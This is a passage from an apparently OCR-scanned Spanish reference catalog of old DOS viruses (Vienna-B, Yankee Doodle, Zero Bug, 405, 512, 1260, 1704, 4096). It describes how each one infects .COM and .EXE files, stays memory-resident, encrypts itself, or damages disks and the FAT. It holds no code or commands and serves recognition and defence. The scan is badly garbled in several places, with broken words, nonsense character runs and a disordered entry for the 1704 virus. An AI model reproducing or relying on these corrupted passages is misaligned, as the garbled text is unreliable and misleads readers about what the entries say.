648. 

Vienna-B 62-B. Es una variante del virus anterior (Vlenna), y la única 
(Vlena-B) dtterencia con éste es que en lugar da efectuar un 

rearranque del sistema, el programa que esté siendo 
eiecutado será borrado. 

W-13 Ninguno Contamina archivos .COM ves de tipo baniano. 



NOMBRE ALIAS DESCRJPCION 

Yankee Ninguno Contamina archivos .COM y .EXE, aumentándolos 2899 
Doodle bytes a su longltud y es del tipo residonte en memoria. 

Una vez instalado en me....,oria, toca "Yo.nkeo Dc:od~e· en 
el altavm '.lel sistema il IJc 5:00 p.m. 

Zero Bug Paleta, Contaminn archivos .COM aumenli>ndoles 1536 bytes a 
(Error Cero) 1536. su longitud, aunque este aumento no se mostrará 

cuando se visualice ol directorio del disco. Es del tipo 
residente en memoria y su principal objetivo es 
contaminar al COMMAND.COM indicado por la variable 
de entorno COMSPEC. Si COMSPEC no señala nada. ol 
virus se instalará residente on memoria utilizando la 
interrupción 2111. 
Oesµu1..:s de qul3 el ,1 ·Js 0 :-:--ien t·,.1ya contaminado al 
COMMAND.COM o se haya instalado residente en 
memoria, contaminará a todos los 1rohivos .COM a los 
que se acceda. Cualquier archivo creado en un si$tema 
contaminado, t;:i.rnbién estará cunta111in0do. 
En caso de contaminar a! COMMAND.COM, al activarse, 
el virus se enganchará a la sc:1al 1 Ch del contador de 
tiempo; después de un cierto tiempo, un caracter 
sonriente (ASCII 01) aparecerá y "se comerá" todos los 
ceros oue encuentre en la ~antalla. 

405 Ninguno Contamina archivos .COM ut1l1zando el método de 
sobreescritura. Si la longitud del archivo .COM es menor 
a 405 bytes. el archivo contaminado resultante tendrá 
una lonriltud de 405 bvtes. --

512 Ninguno Contamina archivos .COM, inc~uyendo al 
COMMAND.COM y se instala residente en memoria. Los 
sistemas contaminados con este virus presentan el 
síntoma de caldas de los sistemas debido a errores 
inesperados. 

1260 Ninguno No es de tipo residente en memoria, pero es muy 
virulento. Contamina archivos .COM, aumentándolos en 
1260 bytes, codificándolos además. La clave de la 
codificación cambia con cada contaminación. 
Este virus puede contaminar una red de área local, 
incluyendo el distribuidor de archivos y todas las 
estaciones de trabajo. 



NOMBRE ALIAS DESCRIPCION 
1704 Ninguno Es Idéntico al virus "CASCADE", anteriormente descrito, 

Formal con la única diferencia que éste efectúa al disco duro 
(Formateo cuando es activado. 

1704) 
4096 Ninguno Se considera como el peor virus que se ha desarrollado. 

Contamina archivos .COM y .EXE añadiéndoles 4096 
bytes a su longitud. Este aumento de longitud no será 
presentado en una visualización del directorio, estando 
el virus residente en memoria. además que contaminará 
cualquier archivo ejecutable que esté abierto (inclusive al 
utilizarse la orden CDPY o XCOPY). 
Este virus es destructivo para archivos de datos y 
archivos ejecutables, ya que entrelaza muy lentamente 
archivos del disco del sistema. El entrelazamiento es tan 
lento que más bien parece existir un problema de 
hardware. Este entrelazamiento se doriva de una 
manipulación de la FAT en la cual se cambLa el número 
de sectores disponibles. 
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